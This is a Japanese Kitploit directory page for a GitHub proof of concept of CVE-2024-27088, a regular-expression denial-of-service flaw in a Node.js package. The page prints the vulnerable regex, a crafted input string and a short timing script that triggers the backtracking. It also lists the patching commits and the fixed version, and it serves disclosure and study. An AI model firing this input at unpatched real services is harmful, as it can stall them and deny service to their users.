Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-27088 — redos | Kitploit
ツール/GitHubGitHub/200101whoami/cve-2024-27088
静的分析脆弱性分析コード分析論文と研究学習と教育
GitHub200101whoami/cve-2024-27088

CVE-2024-27088

redos

リポジトリを見る
22年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-27088

脆弱性の概要

  • CVE-2024-27088

  • Feb 26, 2024

  • ReDoS in node.js package

  • rebobプロジェクトの一環

脆弱性の説明

github advisories

root@kitploit:~
/^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/

この脆弱性は、括弧のバランスが崩れている場合に悪用される可能性があり、過剰なバックトラッキングが発生し、CPU負荷と処理時間が大幅に増加します。この脆弱性は以下の入力を使用してトリガーできます:

'function{' + 'n'.repeat(31) + '){'

以下は問題を示す簡単なPoCコードです:

root@kitploit:~
const protocolre = /^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/;

const startTime = Date.now();
const maliciousInput = 'function{' + 'n'.repeat(31) + '){'

protocolre.test(maliciousInput);

const endTime = Date.now();

console.log("process time: ", endTime - startTime, "ms");

Impact

Passing functions with very long names or complex default argument names into function#copy orfunction#toStringTokens may put script to stall

Patches Fixed with 3551cdd and a52e957 Published with v0.10.63

Workarounds No real workaround aside of refraining from using above utilities.

issue target package

ツールをダウンロード